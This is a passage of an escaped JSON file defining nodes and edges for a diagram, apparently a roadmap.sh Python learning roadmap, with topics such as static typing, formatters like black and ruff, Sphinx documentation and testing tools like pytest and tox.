\"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 34\n      }\n    },\n    {\n      \"id\": \"1PXApuUpPmJjgi12cmWo4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 918.6504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Static Typing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 918.6504012205187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KFFbnOBa-y5r58w2pUf15\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 3.5088599202340447,\n        \"y\": 937.23046875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 68,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 3.5088599202340447,\n        \"y\": 937.23046875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"W3VALz5evFo1qqkQbMN1R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 842.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pydantic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 842.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gIcJ3bUVQXqO1Wx4gUKd5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 683.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"mypy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o1wi39VnjnFfWIC8XcuAK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 683.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1q9HWgu9jDTK757hTNOmE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 736.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pyright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 736.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9mFR_ueXbIB2IrkqU2s85\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 789.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pyre\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 789.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0F0ppU_ClIUKZ23Q6BVZp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 259.82694462464815,\n        \"y\": 1046.9159442045684\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code Formatting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 259.82694462464815,\n        \"y\": 1046.9159442045684\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6cB0pvUO1-gvCtgqozP-Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.77353876747918,\n        \"y\": 1098.8447698764166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ruff\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.77353876747918,\n        \"y\": 1098.8447698764166\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DS6nuAUhUYcqiJDmQisKM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.77353876747918,\n        \"y\": 1045.8447698764166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"black\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.77353876747918,\n        \"y\": 1045.8447698764166\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tsh_vbhzKz1-H9Vh69tsK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.77353876747918,\n        \"y\": 992.8447698764166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"yapf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.77353876747918,\n        \"y\": 992.8447698764166\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZFyKLneWQyUks5zSi_-kw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 280.6043153709654,\n        \"y\": 1231.6757618831236\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": 280.6043153709654,\n        \"y\": 1231.6757618831236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"maYNuTKYyZndxk1z29-UY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 280.6043153709654,\n        \"y\": 1176.7962000920706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sphinx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 46\n      },\n      \"positionAbsolute\": {\n        \"x\": 280.6043153709654,\n        \"y\": 1176.7962000920706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"_94NrQ3quc4t_PPOsFSN0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 498.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 498.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 22.33083459739703,\n        \"y\": 1387.21519978213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 22.33083459739703,\n        \"y\": 1387.21519978213\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aVclygxoA9ePU5IxaORSH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1408.9552389677524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"doctest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1408.9552389677524\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SSnzpijHLO5_l7DNEoMfx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 337.57585484459395,\n        \"y\": 1302.9552389677524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"nose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 337.57585484459395,\n        \"y\": 1302.9552389677524\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3FDwJpesfelEyJrNWtm0V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1461.9552389677524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pytest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1461.9552389677524\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b4he_RO17C3ScNeUd6v2b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1355.9552389677524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"unittest / pyUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1355.9552389677524\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o1wi39VnjnFfWIC8XcuAK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.82694462464815,\n        \"y\": 630.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"typing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.82694462464815,\n        \"y\": 630.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jPFOiwbqfaGshaGDBWb5x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1302.9552389677524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 266.57585484459395,\n        \"y\": 1302.9552389677524\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"U0fJo2a3vnaodNJhfZ78I\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -453.8231176820491,\n        \"y\": 1406.9044816937815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"P5IZjP0g1_fnvHy3YTR4q\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -453.8231176820491,\n        \"y\": 1406.9044816937815\n      },\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hIQe_B-68ENL-GFg6GmnD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-VJSIbYJcy2MC6MOFBrqXiw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6xRncUs3_vxVbDur567QA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiy2-6xRncUs3_vxVbDur567QAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dEFLBGpiH6nbSMeR7ecaT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiy2-dEFLBGpiH6nbSMeR7ecaTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NP1kjSk0ujU0Gx-ajNHlR\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiy2-Dvy7BnNzK55qbh_SgOk8mz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Dvy7BnNzK55qbh_SgOk8m\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiy2-Dvy7BnNzK55qbh_SgOk8mz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2-R9DQNc0AyAQ2HLpP4HOk6y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2-fNTb9y3zs1HPYclAmu_Wvy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-DJgS6l2qngfwurExlmmT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2--DJgS6l2qngfwurExlmmTy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UT_SR7G-LYtzqooWrEtF1\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2-UT_SR7G-LYtzqooWrEtF1y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bc9CL_HMT-R6nXO1eR-gP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2-bc9CL_HMT-R6nXO1eR-gPy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VJSIbYJcy2MC6MOFBrqXi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OPD4WdMO7q4gRZMcRCQh1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXix2-OPD4WdMO7q4gRZMcRCQh1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VJSIbYJcy2MC6MOFBrqXi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"274uk28wzxn6EKWQzLpHs\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-VJSIbYJcy2MC6MOFBrqXiz2-274uk28wzxn6EKWQzLpHsy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_Di-XPSDITmU3xKQew8G\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qeCMw-sJ2FR4UxvU9DDzv\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-P_Di-XPSDITmU3xKQew8Gy2-qeCMw-sJ2FR4UxvU9DDzvx1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qeCMw-sJ2FR4UxvU9DDzv\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"uXd2B01GVBEQNXQE8RATT\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qeCMw-sJ2FR4UxvU9DDzvw2-uXd2B01GVBEQNXQE8RATTx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VJSIbYJcy2MC6MOFBrqXi\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-GISOFMKvnBys0O0IMpz2Jx2-VJSIbYJcy2MC6MOFBrqXiw2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7t6mJBsaFMWPi7o9fbhhq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"P_Di-XPSDITmU3xKQew8G\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-7t6mJBsaFMWPi7o9fbhhqx2-P_Di-XPSDITmU3xKQew8Gz1\",\n      \"type\": \"smoothstep\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0-ShORjGnQlAdcwjtxdEB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"u4nRzWQ4zhDFMOrZ2I_uJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 